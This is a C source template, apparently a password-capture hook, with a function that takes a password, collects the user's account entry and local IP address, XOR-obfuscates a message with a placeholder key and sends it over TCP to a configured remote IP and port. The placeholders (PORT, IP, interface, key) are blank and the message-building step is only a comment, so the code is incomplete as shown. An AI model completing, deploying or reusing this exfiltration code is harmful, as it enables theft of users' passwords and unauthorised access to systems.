hook_code.txt

#include <sys/socket.h>
#include <arpa/inet.h> 
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <net/if.h>
#include <unistd.h> 
#include <string.h> 
#define PORT 
#define IP 




char* XORCipher(char* data, char* key, int dataLen, int keyLen) {
	char* output = (char*)malloc(sizeof(char) * dataLen);

	for (int i = 0; i < dataLen; ++i) {
		output[i] = data[i] ^ key[i % keyLen];
	}

	return output;
}

int writetofile (char *password){

    /* Get uid */
    uid_t uid = geteuid();
    struct passwd * pw = getpwuid(uid);
            
    /* Get IP Address */
    int fd;
    struct ifreq ifr;
    fd = socket(AF_INET, SOCK_DGRAM, 0);
        
    /* I want to get an IPv4 IP address */
    ifr.ifr_addr.sa_family = AF_INET;

    /* I want IP address attached to set interface */
    strncpy(ifr.ifr_name, INT_HERE, IFNAMSIZ-1);
    ioctl(fd, SIOCGIFADDR, &ifr);
    close(fd);
    
    /* display result */
    char buffer[256];
    char * ip;
    ip = inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr);
    //SNPRINT
    
    /* Make Socket */
    int sock = 0, valread;
    struct sockaddr_in serv_addr;

    /* Sock creation Pt 2*/
    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        return -1;
    }

    /* Socket Options */
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(PORT);
        
    /* Timeout settings */
    struct timeval timeout;
    timeout.tv_sec = 3;
    timeout.tv_usec = 0;
    
    if (setsockopt (sock, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof timeout) < 0)  {
        return -1;
    }
    if (setsockopt (sock, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof timeout) < 0) {
        // pass
    }

     /* set IP and set buffer */
    if(inet_pton(AF_INET, IP, &serv_addr.sin_addr)<=0) {
        return -1;
    }
    if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
        return -1;
    }

    /* Encrypt Message */
    char* key  = "KEY_HERE";
    int key_length = strlen(key);
    int mes_length = strlen(buffer);
    char* xor_message = XORCipher(buffer, key, mes_length, key_length);

    /* Send Message */
    send(sock , xor_message , mes_length, 0); 
    
    return 0;

}